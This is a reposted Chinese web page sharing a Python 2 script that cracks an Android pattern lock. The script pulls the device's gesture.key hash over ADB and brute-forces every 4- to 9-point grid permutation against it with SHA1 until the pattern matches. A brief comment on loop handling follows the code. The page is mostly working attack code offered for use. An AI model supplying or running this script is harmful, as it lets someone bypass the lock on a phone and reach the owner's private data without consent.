加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Python > 正文

基于Python的Android图形锁破解程序

发布时间:2020-12-17 17:14:19 所属栏目:Python 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 # -*- coding: cp936 -*-import itertoolsimport hashlibimport timeimport os#调用cmd,ADB连接到手机,读取SHA1加密后的字符串os.system("adb pull /

以下代码由PHP站长网 52php.cn收集自互联网

现在PHP站长网小编把它分享给大家,仅供参考

# -*- coding: cp936 -*-
import itertools
import hashlib
import time
import os

#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
os.system("adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
f.close()
pswd_hex=pswd.encode('hex')
print '加密后的密码为:%s'%pswd_hex

#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[] 
for i in range(0,9):
    str_temp = '0'+str(i)
    matrix.append(str_temp)

#将00——08的字符进行排列,至少取4个数排列,最多全部进行排列

min_num=4
max_num=len(matrix)

for num in range(min_num,max_num+1):#从04 -> 08
    iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
    list_m=[]
    list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
    for el in list_m[0]:#遍历这n个数字的全部排列
        strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
        strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
        if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
            print '解锁密码为:',strlist

按说得到解锁密码后,应该break跳出循环的。但Python没有跳出多重循环的语句,本想设置标志位然后不停进行判定,为了运行速度就免去了这个步骤(有没有更好的实现跳出多重循环的方法?)。另外也略去了很多容错语句。

以上内容由PHP站长网【52php.cn】收集整理供大家参考研究

如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读